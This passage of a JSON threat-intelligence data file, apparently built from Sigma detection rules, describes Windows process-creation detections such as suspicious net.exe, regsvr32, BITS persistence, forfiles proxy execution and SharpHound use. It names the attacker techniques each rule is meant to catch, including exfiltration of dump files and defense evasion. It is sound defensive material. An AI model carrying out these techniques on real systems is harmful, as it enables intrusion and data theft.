        "filename": "proc_creation_win_net_susp_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/",
          "https://eqllib.readthedocs.io/en/latest/analytics/4d2e7fc1-af0b-4915-89aa-03d25ba7805e.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-2---system-service-discovery---netexe",
          "https://eqllib.readthedocs.io/en/latest/analytics/e61f557c-a9d0-4c25-ab5b-bbc46bb24deb.html",
          "https://eqllib.readthedocs.io/en/latest/analytics/9b3dd402-891c-4c4d-a662-28947168ce61.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_susp_execution.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1007",
          "attack.t1049",
          "attack.t1018",
          "attack.t1135",
          "attack.t1201",
          "attack.t1069.001",
          "attack.t1069.002",
          "attack.t1087.001",
          "attack.t1087.002",
          "attack.lateral_movement",
          "attack.t1021.002",
          "attack.s0039"
        ]
      },
      "related": [
        {
          "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "183e7ea8-ac4b-4c23-9aec-b3dac4e401ac",
      "value": "Net.exe Execution"
    },
    {
      "description": "Detects execution of the \"mofcomp\" utility as a child of a suspicious shell or script running utility or by having a suspicious path in the commandline.\nThe \"mofcomp\" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository.\nAttackers abuse this utility to install malicious MOF scripts\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_mofcomp_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/",
          "https://docs.microsoft.com/en-us/windows/win32/wmisdk/mofcomp",
          "https://github.com/The-DFIR-Report/Sigma-Rules/blob/75260568a7ffe61b2458ca05f6f25914efb44337/win_mofcomp_execution.yml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mofcomp_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1dd05363-104e-4b4a-b963-196a534b03a1",
      "value": "Potential Suspicious Mofcomp Execution"
    },
    {
      "description": "Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces\nAdversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe\n",
      "meta": {
        "author": "Agro (@agro_sev) oscd.community",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "It's not an uncommon to use te.exe directly to execute legal TAEF tests"
        ],
        "filename": "proc_creation_win_susp_use_of_te_bin.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/",
          "https://twitter.com/pabraeken/status/993298228840992768",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml"
        ],
        "tags": [
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "634b00d5-ccc3-4a06-ae3b-0ec8444dd51b",
      "value": "Malicious Windows Script Components File Execution by TAEF Detection"
    },
    {
      "description": "Detects execution of 7z in order to compress a file with a \".dmp\"/\".dump\" extension, which could be a step in a process of dump file exfiltration.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/27",
        "falsepositive": [
          "Legitimate use of 7z with a command line in which \".dmp\" or \".dump\" appears accidentally",
          "Legitimate use of 7z to compress WER \".dmp\" files for troubleshooting"
        ],
        "filename": "proc_creation_win_7zip_exfil_dmp_files.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/09/26/bumblebee-round-two/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_exfil_dmp_files.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1560.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ec570e53-4c76-45a9-804d-dc3f355ff7a7",
      "value": "7Zip Compressing Dump Files"
    },
    {
      "description": "Detects when a program changes the default file association of any extension to an executable.\nWhen a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cmd_assoc_tamper_exe_file_association.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/assoc",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_assoc_tamper_exe_file_association.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "98034fef-d9fb-4667-8dc4-2eab6231724c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ae6f14e6-14de-45b0-9f44-c0986f50dc89",
      "value": "Change Default File Association To Executable Via Assoc"
    },
    {
      "description": "Detects potential RDP connection via Mstsc using a local \".rdp\" file located in suspicious locations.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/04/18",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_mstsc_run_local_rpd_file_susp_parent.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/",
          "https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_run_local_rpd_file_susp_parent.yml"
        ],
        "tags": [
          "attack.lateral_movement"
        ]
      },
      "uuid": "ff3b6b39-e765-42f9-bb2c-ea6761e0e0f6",
      "value": "Mstsc.EXE Execution From Uncommon Parent"
    },
    {
      "description": "Detects execution of regsvr32 where the DLL is located in a potentially suspicious location.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/26",
        "falsepositive": [
          "Some installers might execute \"regsvr32\" with DLLs located in %TEMP% or in %PROGRAMDATA%. Apply additional filters if necessary."
        ],
        "filename": "proc_creation_win_regsvr32_susp_exec_path_1.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/",
          "https://web.archive.org/web/20171001085340/https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_susp_exec_path_1.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9525dc73-0327-438c-8c04-13c0e037e9da",
      "value": "Regsvr32 Execution From Potential Suspicious Location"
    },
    {
      "description": "Detects suspicious Windows Error Reporting manager (wermgr.exe) execution location.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/10/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wermgr_susp_exec_location.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/binderlabs/DirCreate2System",
          "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html",
          "https://www.echotrail.io/insights/search/wermgr.exe",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wermgr_susp_exec_location.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "5394fcc7-aeb2-43b5-9a09-cac9fc5edcd5",
      "value": "Suspicious Execution Location Of Wermgr.EXE"
    },
    {
      "description": "Detects uses of the SysInternals ProcDump utility in which ProcDump or its output get renamed, or a dump file is moved or copied to a different name",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/11",
        "falsepositive": [
          "False positives are expected in cases in which ProcDump just gets copied to a different directory without any renaming"
        ],
        "filename": "proc_creation_win_sysinternals_procdump_evasion.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/mrd0x/status/1480785527901204481",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_procdump_evasion.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "79b06761-465f-4f88-9ef2-150e24d3d737",
      "value": "Potential SysInternals ProcDump Evasion"
    },
    {
      "description": "Detects PowerShell script execution from Alternate Data Stream (ADS)",
      "meta": {
        "author": "Sergey Soldatov, Kaspersky Lab, oscd.community",
        "creation_date": "2019/10/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_run_script_from_ads.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/p0shkatz/Get-ADS/blob/1c3a3562e713c254edce1995a7d9879c687c7473/Get-ADS.ps1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_run_script_from_ads.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "45a594aa-1fbd-4972-a809-ff5a99dd81b8",
      "value": "Run PowerShell Script from ADS"
    },
    {
      "description": "Detects the execution of \"csvde.exe\" in order to export organizational Active Directory structure.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_csvde_export.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://businessinsights.bitdefender.com/deep-dive-into-a-backdoordiplomacy-attack-a-study-of-an-attackers-toolkit",
          "https://www.cybereason.com/blog/research/operation-ghostshell-novel-rat-targets-global-aerospace-and-telecoms-firms",
          "https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csvde_export.yml"
        ],
        "tags": [
          "attack.exfiltration"
        ]
      },
      "uuid": "e5d36acd-acb4-4c6f-a13f-9eb203d50099",
      "value": "Active Directory Structure Export Via Csvde.EXE"
    },
    {
      "description": "BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded",
      "meta": {
        "author": "Sreeman",
        "creation_date": "2020/10/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_bitsadmin_potential_persistence.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394",
          "http://0xthem.blogspot.com/2014/03/t-emporal-persistence-with-and-schtasks.html",
          "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_potential_persistence.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1197"
        ]
      },
      "related": [
        {
          "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b9cbbc17-d00d-4e3d-a827-b06d03d2380d",
      "value": "Monitoring For Persistence Via BITS"
    },
    {
      "description": "Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries,\nwhich is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from \"svchost\"\n",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems), @gott_cyber",
        "creation_date": "2019/06/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_explorer_break_process_tree.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/nas_bench/status/1535322450858233858",
          "https://securityboulevard.com/2019/09/deobfuscating-ostap-trickbots-34000-line-javascript-downloader/",
          "https://twitter.com/CyberRaiju/status/1273597319322058752",
          "https://twitter.com/bohops/status/1276357235954909188?s=12",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_explorer_break_process_tree.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "949f1ffb-6e85-4f00-ae1e-c3c5b190d605",
      "value": "Explorer Process Tree Break"
    },
    {
      "description": "Attackers can use explorer.exe for evading defense mechanisms",
      "meta": {
        "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative",
        "creation_date": "2020/10/05",
        "falsepositive": [
          "Legitimate explorer.exe run from cmd.exe"
        ],
        "filename": "proc_creation_win_explorer_lolbin_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/CyberRaiju/status/1273597319322058752",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_explorer_lolbin_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9eb271b9-24ae-4cd4-9465-19cfc1047f3e",
      "value": "Proxy Execution Via Explorer.exe"
    },
    {
      "description": "Adversaries may modify system firewalls in order to bypass controls limiting network usage",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/09",
        "falsepositive": [
          "Legitimate administration activity"
        ],
        "filename": "proc_creation_win_netsh_fw_enable_group_rule.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-3---allow-smb-and-rdp-on-microsoft-defender-firewall",
          "https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_enable_group_rule.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "347906f3-e207-4d18-ae5b-a9403d6bcdef",
      "value": "Netsh Allow Group Policy on Microsoft Defender Firewall"
    },
    {
      "description": "Detects the execution of a renamed \"gpg.exe\". Often used by ransomware and loaders to decrypt/encrypt data.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), frack113",
        "creation_date": "2023/08/09",
        "falsepositive": "No established falsepositives",
        "filename": "proc_creation_win_renamed_gpg4win.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://securelist.com/locked-out/68960/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_gpg4win.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1486"
        ]
      },
      "related": [
        {
          "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ec0722a3-eb5c-4a56-8ab2-bf6f20708592",
      "value": "Renamed Gpg.EXE Execution"
    },
    {
      "description": "Detects usage of the \"dir\" command that is part of Windows batch/cmd to collect information about directories",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cmd_dir_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_dir_execution.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1217"
        ]
      },
      "related": [
        {
          "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7c9340a9-e2ee-4e43-94c5-c54ebbea1006",
      "value": "Files And Subdirectories Listing Using Dir"
    },
    {
      "description": "Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/05/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_pubprn.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Scripts/Pubprn/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1216.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1fb76ab8-fa60-4b01-bddd-71e89bf555da",
      "value": "Pubprn.vbs Proxy Execution"
    },
    {
      "description": "Detects Powershell as a child of the WmiPrvSE process. Which could be a sign of lateral movement via WMI.",
      "meta": {
        "author": "Markus Neis @Karneades",
        "creation_date": "2019/04/03",
        "falsepositive": [
          "AppvClient",
          "CCM",
          "WinRM"
        ],
        "filename": "proc_creation_win_wmiprvse_spawns_powershell.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://any.run/report/68bc255f9b0db6a0d30a8f2dadfbee3256acfe12497bf93943bc1eab0735e45e/a2385d6f-34f7-403c-90d3-b1f9d2a90a5e",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_spawns_powershell.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "692f0bec-83ba-4d04-af7e-e884a96059b6",
      "value": "Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell"
    },
    {
      "description": "Attackers can use print.exe for remote file copy",
      "meta": {
        "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative",
        "creation_date": "2020/10/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_print_remote_file_copy.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Print/",
          "https://twitter.com/Oddvarmoe/status/985518877076541440",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_print_remote_file_copy.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bafac3d6-7de9-4dd9-8874-4a1194b493ed",
      "value": "Abusing Print Executable"
    },
    {
      "description": "Execute commands and binaries from the context of \"forfiles\". This is used as a LOLBIN for example to bypass application whitelisting.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/14",
        "falsepositive": [
          "Legitimate use via a batch script or by an administrator."
        ],
        "filename": "proc_creation_win_lolbin_forfiles.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/",
          "https://pentestlab.blog/2020/07/06/indirect-command-execution/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_forfiles.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9aa5106d-bce3-4b13-86df-3a20f1d5cf0b",
      "value": "Use of Forfiles For Execution"
    },
    {
      "description": "Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see references section)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/25",
        "falsepositive": [
          "Other legitimate \"Windows Terminal\" profiles"
        ],
        "filename": "proc_creation_win_windows_terminal_susp_children.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://persistence-info.github.io/Data/windowsterminalprofile.html",
          "https://twitter.com/nas_bench/status/1550836225652686848",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_windows_terminal_susp_children.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.persistence"
        ]
      },
      "uuid": "8de89e52-f6e1-4b5b-afd1-41ecfa300d48",
      "value": "Suspicious WindowsTerminal Child Processes"
    },
    {
      "description": "Detects command line parameters used by Bloodhound and Sharphound hack tools",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/12/20",
        "falsepositive": [
          "Other programs that use these command line option and accepts an 'All' parameter"
        ],
        "filename": "proc_creation_win_hktl_bloodhound_sharphound.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/BloodHoundAD/BloodHound",
          "https://github.com/BloodHoundAD/SharpHound",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_bloodhound_sharphound.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1087.001",
          "attack.t1087.002",
          "attack.t1482",
          "attack.t1069.001",
          "attack.t1069.002",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f376c8a7-a2d0-4ddc-aa0c-16c17236d962",
      "value": "HackTool - Bloodhound/Sharphound Execution"
    },
    {
      "description": "Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe.\nAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sdbinst_susp_extension.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdbinst_susp_extension.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1546.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "18ee686c-38a3-4f65-9f44-48a077141f42",
      "value": "Suspicious Shim Database Installation via Sdbinst.EXE"
    },
    {
      "description": "Detect usage of the \"unregmp2.exe\" binary as a proxy to launch a custom version of \"wmpnscfg.exe\"",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_unregmp2.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
